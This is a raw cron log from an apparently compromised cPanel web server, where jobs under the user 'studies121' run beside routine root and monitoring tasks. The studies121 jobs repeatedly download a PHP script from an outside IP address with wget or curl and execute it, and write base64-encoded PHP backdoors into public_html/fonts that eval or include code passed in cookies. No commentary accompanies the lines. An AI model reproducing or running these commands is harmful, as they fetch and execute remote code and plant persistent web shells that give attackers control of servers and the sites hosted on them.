Sep 20 14:32:01 ip-184-168-122-23 CROND[29286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:32:01 ip-184-168-122-23 CROND[29288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:32:01 ip-184-168-122-23 CROND[29289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:33:01 ip-184-168-122-23 CROND[29555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:33:01 ip-184-168-122-23 CROND[29558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:33:01 ip-184-168-122-23 CROND[29559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:33:01 ip-184-168-122-23 CROND[29560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:34:01 ip-184-168-122-23 CROND[29801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:34:01 ip-184-168-122-23 CROND[29803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:34:01 ip-184-168-122-23 CROND[29802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:34:01 ip-184-168-122-23 CROND[29804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:34:01 ip-184-168-122-23 CROND[29800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:35:01 ip-184-168-122-23 CROND[30100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:35:01 ip-184-168-122-23 CROND[30102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:35:01 ip-184-168-122-23 CROND[30103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:35:01 ip-184-168-122-23 CROND[30104]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 14:35:01 ip-184-168-122-23 CROND[30108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 14:35:01 ip-184-168-122-23 CROND[30107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:35:01 ip-184-168-122-23 CROND[30105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:35:01 ip-184-168-122-23 CROND[30106]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:36:01 ip-184-168-122-23 CROND[30460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:36:01 ip-184-168-122-23 CROND[30459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:36:01 ip-184-168-122-23 CROND[30463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:36:01 ip-184-168-122-23 CROND[30465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:36:01 ip-184-168-122-23 CROND[30461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:37:01 ip-184-168-122-23 CROND[30729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:37:01 ip-184-168-122-23 CROND[30731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:37:01 ip-184-168-122-23 CROND[30732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:37:01 ip-184-168-122-23 CROND[30733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:38:01 ip-184-168-122-23 CROND[30963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:38:01 ip-184-168-122-23 CROND[30964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:38:01 ip-184-168-122-23 CROND[30966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:38:01 ip-184-168-122-23 CROND[30967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:38:01 ip-184-168-122-23 CROND[30970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:39:01 ip-184-168-122-23 CROND[31255]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 14:39:01 ip-184-168-122-23 CROND[31256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:39:01 ip-184-168-122-23 CROND[31258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:39:01 ip-184-168-122-23 CROND[31259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:39:01 ip-184-168-122-23 CROND[31263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:40:01 ip-184-168-122-23 CROND[31518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:40:01 ip-184-168-122-23 CROND[31519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:40:01 ip-184-168-122-23 CROND[31521]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 14:40:01 ip-184-168-122-23 CROND[31523]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 14:40:01 ip-184-168-122-23 CROND[31522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:40:01 ip-184-168-122-23 CROND[31525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:40:01 ip-184-168-122-23 CROND[31528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 14:40:01 ip-184-168-122-23 CROND[31527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:41:01 ip-184-168-122-23 CROND[31812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:41:01 ip-184-168-122-23 CROND[31815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:41:01 ip-184-168-122-23 CROND[31816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:41:01 ip-184-168-122-23 CROND[31817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:42:01 ip-184-168-122-23 CROND[32186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:42:01 ip-184-168-122-23 CROND[32188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:42:01 ip-184-168-122-23 CROND[32190]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 14:42:01 ip-184-168-122-23 CROND[32189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:42:01 ip-184-168-122-23 CROND[32191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:43:01 ip-184-168-122-23 CROND[32450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 14:43:01 ip-184-168-122-23 CROND[32451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:43:01 ip-184-168-122-23 CROND[32452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 14:43:01 ip-184-168-122-23 CROND[32454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:44:01 ip-184-168-122-23 CROND[32700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 14:44:01 ip-184-168-122-23 CROND[32701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 14:44:01 ip-184-168-122-23 CROND[32705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
